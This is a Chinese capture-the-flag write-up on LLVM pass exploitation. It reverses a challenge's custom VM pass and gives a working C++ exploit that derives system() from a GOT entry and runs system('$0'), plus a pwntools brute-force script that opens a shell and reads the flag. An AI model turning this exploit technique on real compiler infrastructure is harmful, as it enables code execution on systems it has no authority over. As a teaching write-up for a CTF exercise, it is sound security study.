LLVM PASS PWN:使用c++编写exp


前言

最近比赛中遇到一道llvm pass pwn,现学了一下相关知识,发现网上的讲解和例题的exp基本都是用的c语言,而比赛中的这题在题目描述中说明了用的是c++,虽然用c也可以通过修改.ll文件完成,但是相比之下还是觉得直接用c++exp方便一些,主要体现在:

  • c语言需要导入#include <stdbool.h>头才能使用bool类型
  • c语言没有class,需要先写成struct再修改.ll文件中的structclass,且使用struct编写本身也比class麻烦

前置基础

llvm

llvm的作用:gcc编译时前后端耦合在一起,出现新平台或编译程序都需要重新设计IR,而llvm使用统一的中间代码不需要设计新的IR

llvm pass:对ir进行分析 优化等操作的过程的模块

IR的三种表现形式:

  • .ll:可读IR,类似汇编
  • .bc:不可读二进制IR
  • 保存在内存中

llvm工具

  • llvm-as:把LLVM IR从人可读的文本格式汇编成成二进制格式
  • llvm-disllvm-as的逆过程,即反汇编
  • opt:优化LLVM IR,输出新的LLVM IR
  • llc:把LLVM IR编译成汇编码
  • lli:解释执行LLVM IR

环境配置:

sudo apt install clang-12 clang-8 llvm-12 llvm-8

程序编译:

  • 编译为.ll

    clang-12 -emit-llvm -S exp.c -o exp.ll
  • 编译为.bc

    clang-12 -emit-llvm -c exp.c -o exp.bc

程序运行:

opt-12 -load ./xxx.so -标识符 ./exp.ll

其中标识符与加载的动态库中注册的一个pass相关联,可以使用-标识符来启用这个pass

c++函数名修饰规则

使用gccclang编译c++时会经过名称修饰的过程从而改变函数名,修饰后的名称通常包括:

  • _Z:修饰名称的开始

  • N:表示这是一个函数或静态成员函数

  • 数字:表示函数名称的长度

  • 类名和函数名:经过编码的类名和函数名

  • E:参数列表的开始

  • 参数类型:通过不同的字母按顺序表示参数类型

    字母 参数类型
    i int
    j unsigned int
    l long
    x long long
    m unsigned long
    c char
    h unsigned char
    b bool
  • 结尾:包含额外信息如返回类型

例如_ZN4edoc4addiEhii表示在edoc类中的函数名长度为4的函数addi,它的三个参数分别是unsigned charintint类型

解题过程

解题流程

题目一般会给出ld-linux-x86-64.so.2libc.so.6opt-12xxx.so和一个说明文档,说明文档会给出如何编译运行以及打远程,一般是将.ll或者.bc文件进行base64编码发送到远程,漏洞点出现在xxx.so,即需要逆向分析的就是这个xxx.so,而攻击的是opt程序,opt程序没给的话也可以用/bin/opt-12

  • 在初始化函数(例如_cxx_global_var_init_17)中找到标识符(即StringRef函数的参数)

  • 导入动态链接库sudo cp xxx.so /lib

  • xxx.so.data.rel.ro段找到虚表,虚表的最后一项就是程序入口

  • 进行动态调试,确定入口函数名、其他函数名、类名等

  • 编写交互脚本

  • 逆向分析函数,编写exp脚本

动态调试

使用gdb opt-12进行调试,并且通过set args -load ./xxx.so -xxx ./exp.ll导入参数,在main函数下断点,运行至所有llvm::initialize前缀的初始化函数结束,使用vmmap获取xxx.so的基址,通过IDA中的偏移下断点进行进一步调试(如果没有基址说明初始胡函数还没运行完

例题

show_me_the_code

题目来源于源鲁杯Round3的困难题,给了codeVM.sold-linux-x86-64.so.2libc.so.6opt-12、说明文档和docker,给出编译指令clang-12 -emit-llvm -S exp.cpp -o exp.ll,上传题解的方式是将exp.ll进行base64编码并且在最后加上换行和EOF发送到远程,从编译指令可以看出需要用c++编写exp

确定标识符

直接搜索函数名init找到函数_cxx_global_var_init_17中有标识符Co00o0oOd3,确定了程序的运行方式是./opt-12 -load ./codeVM.so -Co00o0oOd3 ./exp.ll,这里需要先执行sudo cp codeVM.so /lib导入动态链接库

int _cxx_global_var_init_17()
{
  __int64 v1; // [rsp+10h] [rbp-20h] BYREF
  __int64 v2; // [rsp+18h] [rbp-18h]
  __int64 v3; // [rsp+20h] [rbp-10h] BYREF
  __int64 v4; // [rsp+28h] [rbp-8h]

  llvm::StringRef::StringRef((llvm::StringRef *)&v3, "Co00o0oOd3");
  llvm::StringRef::StringRef((llvm::StringRef *)&v1, "c0oo0o0Ode Pass");
  llvm::RegisterPass<`anonymous namespace'::c0oo0o0Ode>::RegisterPass((unsigned int)&X, v3, v4, v1, v2, 0, 0);
  return __cxa_atexit(llvm::RegisterPass<`anonymous namespace'::c0oo0o0Ode>::~RegisterPass, &X, &_dso_handle);
}

确定程序入口函数

.data.rel.ro段找到了vtable,最后一项``anonymous namespace’::c0oo0o0Ode::runOnFunction(llvm::Function &)`就是程序入口,直接点进这个函数

.data.rel.ro:0000000000030D08                 dq offset _ZN12_GLOBAL__N_110c0oo0o0OdeD2Ev ; `anonymous namespace'::c0oo0o0Ode::~c0oo0o0Ode()
.data.rel.ro:0000000000030D10                 dq offset _ZN12_GLOBAL__N_110c0oo0o0OdeD0Ev ; `anonymous namespace'::c0oo0o0Ode::~c0oo0o0Ode()
.data.rel.ro:0000000000030D18                 dq offset _ZNK4llvm4Pass11getPassNameEv ; llvm::Pass::getPassName(void)
.data.rel.ro:0000000000030D20                 dq offset _ZN4llvm4Pass16doInitializationERNS_6ModuleE ; llvm::Pass::doInitialization(llvm::Module &)
.data.rel.ro:0000000000030D28                 dq offset _ZN4llvm4Pass14doFinalizationERNS_6ModuleE ; llvm::Pass::doFinalization(llvm::Module &)
.data.rel.ro:0000000000030D30                 dq offset _ZNK4llvm4Pass5printERNS_11raw_ostreamEPKNS_6ModuleE ; llvm::Pass::print(llvm::raw_ostream &,llvm::Module const*)
.data.rel.ro:0000000000030D38                 dq offset _ZNK4llvm12FunctionPass17createPrinterPassERNS_11raw_ostreamERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE ; llvm::FunctionPass::createPrinterPass(llvm::raw_ostream &,std::string const&)
.data.rel.ro:0000000000030D40                 dq offset _ZN4llvm12FunctionPass17assignPassManagerERNS_7PMStackENS_15PassManagerTypeE ; llvm::FunctionPass::assignPassManager(llvm::PMStack &,llvm::PassManagerType)
.data.rel.ro:0000000000030D48                 dq offset _ZN4llvm4Pass18preparePassManagerERNS_7PMStackE ; llvm::Pass::preparePassManager(llvm::PMStack &)
.data.rel.ro:0000000000030D50                 dq offset _ZNK4llvm12FunctionPass27getPotentialPassManagerTypeEv ; llvm::FunctionPass::getPotentialPassManagerType(void)
.data.rel.ro:0000000000030D58                 dq offset _ZNK4llvm4Pass16getAnalysisUsageERNS_13AnalysisUsageE ; llvm::Pass::getAnalysisUsage(llvm::AnalysisUsage &)
.data.rel.ro:0000000000030D60                 dq offset _ZN4llvm4Pass13releaseMemoryEv ; llvm::Pass::releaseMemory(void)
.data.rel.ro:0000000000030D68                 dq offset _ZN4llvm4Pass26getAdjustedAnalysisPointerEPKv ; llvm::Pass::getAdjustedAnalysisPointer(void const*)
.data.rel.ro:0000000000030D70                 dq offset _ZN4llvm4Pass18getAsImmutablePassEv ; llvm::Pass::getAsImmutablePass(void)
.data.rel.ro:0000000000030D78                 dq offset _ZN4llvm4Pass18getAsPMDataManagerEv ; llvm::Pass::getAsPMDataManager(void)
.data.rel.ro:0000000000030D80                 dq offset _ZNK4llvm4Pass14verifyAnalysisEv ; llvm::Pass::verifyAnalysis(void)
.data.rel.ro:0000000000030D88                 dq offset _ZN4llvm4Pass17dumpPassStructureEj ; llvm::Pass::dumpPassStructure(uint)
.data.rel.ro:0000000000030D90                 dq offset _ZN12_GLOBAL__N_110c0oo0o0Ode13runOnFunctionERN4llvm8FunctionE ; `anonymous namespace'::c0oo0o0Ode::runOnFunction(llvm::Function &)

确定函数名和类名编写交互脚本

找到程序逻辑,其中llvm::Value::getName用于获取函数名,llvm::operator==(Name, v8, v6[0], v6[1]);用于比较函数名

__int64 __fastcall `anonymous namespace'::c0oo0o0Ode::runOnFunction(
        _anonymous_namespace_::c0oo0o0Ode *this,
        llvm::Function *a2)
{
  __int64 v2; // rdx
  char v4; // [rsp+Fh] [rbp-51h]
  _BYTE v5[32]; // [rsp+10h] [rbp-50h] BYREF
  __int64 v6[2]; // [rsp+30h] [rbp-30h] BYREF
  __int64 Name; // [rsp+40h] [rbp-20h]
  __int64 v8; // [rsp+48h] [rbp-18h]
  llvm::Value *v9; // [rsp+50h] [rbp-10h]
  _anonymous_namespace_::c0oo0o0Ode *v10; // [rsp+58h] [rbp-8h]

  v10 = this;
  v9 = a2;
  secret::init(this);
  Name = llvm::Value::getName(a2);
  v8 = v2;
  VMDatProt::getStrFromProt2(
    (__int64)v5,
    (__int64)&`anonymous namespace'::vmFuncName[abi:cxx11],
    (__int64)&secret::vmKey[abi:cxx11]);
  llvm::StringRef::StringRef(v6, v5);
  v4 = llvm::operator==(Name, v8, v6[0], v6[1]);
  std::string::~string(v5);
  if ( (v4 & 1) != 0 )
    `anonymous namespace'::c0oo0o0Ode::vmRun(this, v9);
  return 0LL;
}

直接随便写一个函数名动态调试,传入参数的指令是set args -load codeVM.so -Co00o0oOd3 exp.ll -f,运行完初始化函数之后通过vmmap找到codeVM.so的基址

0x7ffff1f88000     0x7ffff1fa0000 r--p    18000      0 /usr/lib/codeVM.so
   0x7ffff1fa0000     0x7ffff1fb0000 r-xp    10000  18000 /usr/lib/codeVM.so
   0x7ffff1fb0000     0x7ffff1fb8000 r--p     8000  28000 /usr/lib/codeVM.so
   0x7ffff1fb8000     0x7ffff1fb9000 r--p     1000  2f000 /usr/lib/codeVM.so
   0x7ffff1fb9000     0x7ffff1fbb000 rw-p     2000  30000 /usr/lib/codeVM.so

llvm::operator==(Name, v8, v6[0], v6[1]);下断点观察函数名,测试程序中我的函数名是testname,在比较时输入的函数名变成了_Z8testnamev,即头部+长度+函数名+v,比较对象函数名_Z10c0deVmMainv,所以入口函数的函数名就是c0deVmMain

► 0x7ffff1fa3242 <(anonymous namespace)::c0oo0o0Ode::runOnFunction(llvm::Function&)+98>     call   llvm::operator==(llvm::StringRef, llvm::StringRef)@plt                <llvm::operator==(llvm::StringRef, llvm::StringRef)@plt>
        rdi: 0x4e5510 ◂— '_Z8testnamev'
        rsi: 0xc
        rdx: 0x7fffffffd390 ◂— '_Z10c0deVmMainv'
        rcx: 0xf

程序的基本结构如下,其他操作都写在c0deVmMain

int c0deVmMain() {
        return 0;
}

通过比较之后会进入``anonymous namespace’::c0oo0o0Ode::vmRun(this, v9);,这个函数中存在8op,在每个op之前通过anonymous namespace’::c0oo0o0Ode::isValidOp(this, &v15, v6) & 1) != 0判定函数名是否符合,同样函数中存在llvm::Value::getName(v12)llvm::operator==(Name, v11, v9[0], v9[1], v4, v5);`,也是任意写一个函数定位到这里判断函数名

__int64 __fastcall `anonymous namespace'::c0oo0o0Ode::isValidOp(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v3; // rdx
  __int64 v4; // r8
  __int64 v5; // r9
  char v7; // [rsp+Fh] [rbp-81h]
  _BYTE v8[32]; // [rsp+18h] [rbp-78h] BYREF
  __int64 v9[2]; // [rsp+38h] [rbp-58h] BYREF
  __int64 Name; // [rsp+48h] [rbp-48h]
  __int64 v11; // [rsp+50h] [rbp-40h]
  llvm::Value *v12; // [rsp+58h] [rbp-38h]
  __int64 CalledOperand; // [rsp+60h] [rbp-30h]
  llvm::CallBase *v14; // [rsp+68h] [rbp-28h]
  __int64 v15; // [rsp+70h] [rbp-20h]
  __int64 v16; // [rsp+78h] [rbp-18h]
  __int64 v17; // [rsp+80h] [rbp-10h]
  char v18; // [rsp+8Fh] [rbp-1h]

  v17 = a1;
  v16 = a2;
  v15 = a3;
  v14 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,true>>(a2);
  if ( !v14 )
    goto LABEL_6;
  CalledOperand = llvm::CallBase::getCalledOperand(v14);
  v12 = (llvm::Value *)llvm::dyn_cast<llvm::Function,llvm::Value>(CalledOperand);
  if ( !v12 )
    goto LABEL_6;
  Name = llvm::Value::getName(v12);
  v11 = v3;
  VMDatProt::getStrFromProt2((__int64)v8, v15, (__int64)&secret::vmKey[abi:cxx11]);
  llvm::StringRef::StringRef(v9, (__int64)v8);
  v7 = llvm::operator==(Name, v11, v9[0], v9[1], v4, v5);
  std::string::~string(v8);
  if ( (v7 & 1) != 0 && (`anonymous namespace'::c0oo0o0Ode::isValidEnv(a1, v16) & 1) != 0 )
    v18 = 1;
  else
LABEL_6:
    v18 = 0;
  return v18 & 1;
}

我的测试函数名是testfunction,运行到断点观察输入函数名变成_Z12testfunctionv,而比较函数名_ZN4edoc4addiEhii,根据c++函数名修饰规则可以分析到该函数是位于edoc类下的addi函数,参数类型是unsigned charintint

► 0x7ffff1fa362e <(anonymous namespace)::c0oo0o0Ode::isValidOp(llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction, false, false, void>, false, true>&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)+158>    call   llvm::operator==(llvm::StringRef, llvm::StringRef)@plt                <llvm::operator==(llvm::StringRef, llvm::StringRef)@plt>
        rdi: 0x4e55e0 ◂— '_Z12testfunctionv'
        rsi: 0x11
        rdx: 0x4ce0c0 ◂— '_ZN4edoc4addiEhii'
        rcx: 0x11

同样,运行到每个op前的``anonymous namespace’::c0oo0o0Ode::isValidOp`函数记录每个函数的函数名,得到以下交互脚本

class edoc {
public:
    void addi(unsigned char x, int y, int z) {}  
    void chgr(unsigned char x, int y) {}                  
    void sftr(unsigned char x, bool y, unsigned char z) {}       
    void borr(unsigned char x, unsigned char y, unsigned char z) {} 
    void movr(unsigned char x, unsigned char y) {}                 
    void save(unsigned char x, unsigned int  y) {}              
    void load(unsigned char x, unsigned int y) {}              
    void runc(unsigned char x, unsigned int  y) {}                
};

edoc obj;

int c0deVmMain() {
        return 0;
}

逆向分析

对每个功能进行逆向分析,分析过程不多描述,分析结果如下:

addi -> regs[x] = y + z                                			   ;x <= 5
chgr -> regs[x] += y                                 			   ;x <= 5                  -0x1000 < y < 0x1000    onetime
sftr -> if y == 1 : regs[x] << z, if y == 0 : regs[x] >> z   	   ;x <= 5  y < 0x40
borr -> regs[x] = regs[y] | regs[z]                     		   ;x <= 5  y <= 5  z <= 5
movr -> regs[x] = regs[y]                               		   ;x < 8  y < 8
save -> *(y+regs[6]) = regs[x]                          		   ;x <= 5  y <= 0x1000     y & 7 == 0      regs[6] & 0xFFF = 0     regs[7] = regs[6] + 0x1000
load -> regs[x] = *(y+regs[6])                          		   ;x <= 5  y <= 0x1000     y & 7 == 0      regs[6] & 0xFFF = 0     regs[7] = regs[6] + 0x1000
runc -> *(y+regs[6])(regs[x])                           		   ;x <= 5  y <= 0x1000     y & 7 == 0      regs[6] & 0xFFF = 0     regs[7] = regs[6] + 0x1000

利用思路就是用op7获取一个libc上的地址,用op8执行system('$0')opt-12程序没有开启pie,所以可以直接获取opt-12中的got表里的libc地址,离system最近的就是0x442ad8中的getenv_got,再通过左移右移或运算得到system地址,本地getenvsystem地址如下

pwndbg> x/gx 0x442ad8
0x442ad8 <getenv@got[plt]>:	0x00007ffff1c44b70
pwndbg> p system
$1 = {<text variable, no debug info>} 0x7ffff1c50d70 <system>

我的思路是将getenv右移16位再左移16位清空最后两个字节为0x00007ffff1c40000,第五位使用op2来加10x00007ffff1c50000,再用op3改末三位为0x00007ffff1c50d70,由于libc只有末三位固定剩下是随机的,所以第四位需要爆破

exp

class edoc {
public:
    void addi(unsigned char x, int y, int z) {}                                 
    void chgr(unsigned char x, int y) {}
    void sftr(unsigned char x, bool y, unsigned char z) {}
    void borr(unsigned char x, unsigned char y, unsigned char z) {} 
    void movr(unsigned char x, unsigned char y) {} 
    void save(unsigned char x, unsigned int  y) {} 
    void load(unsigned char x, unsigned int y) {} 
    void runc(unsigned char x, unsigned int  y) {}  
};

edoc obj;

void testfunction(){}

int c0deVmMain() {
        obj.addi(0, 0x442000, 0);
        obj.movr(6, 0);
        obj.addi(1, 0x443000, 0);		
        obj.movr(7, 1);					//regs[7] = regs[6] + 0x1000
        obj.load(2, 0xad8);    			//load(0x4420xad8): regs[2] = getenv_addr

        obj.sftr(2, 0, 16);                     
        obj.sftr(2, 1, 12);
        obj.addi(5, 0x400, 0);
        obj.borr(2, 2, 5);
        obj.chgr(2, 0xc00);
        obj.sftr(2, 1, 4);				//Sets the lower two bytes to null and increments the third last byte by 1
        obj.addi(4, 0xd70, 0);
        obj.borr(2, 2, 4);				//clear and add
    
        obj.addi(4, 0x3024, 0);
        obj.save(4, 0x1000);			//save $0

        obj.save(2, 0xb00);				//save system

        obj.runc(1, 0xb00);				//system('$0')
        return 0;
}

爆破脚本,大概30+次爆破出来的

from pwn import *
import base64

context(arch='amd64', os='linux', log_level='debug')

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

with open("exp.ll", "rb") as file:
    p = base64.b64encode(file.read())
p += b'\nEOF\n'

rnd = 0
while True:
    try:
        r = remote('challenge.yuanloo.com', 43319)
        rnd += 1
        li('the ' + str(rnd) + ' round')
        r.recvuntil(b'(EOF to stop):\n')

        r.send(p)

        r.sendline('cat flag')
        for i in range(4):
            s = r.recvline()
        if b'YLCTF' in s:
            li(s)
            break
        else:
            continue

    except EOFError:
        r.close()
        continue

相关链接

https://www.z1r0.top/2022/10/28/LLVM-PASS-PWN/


  目录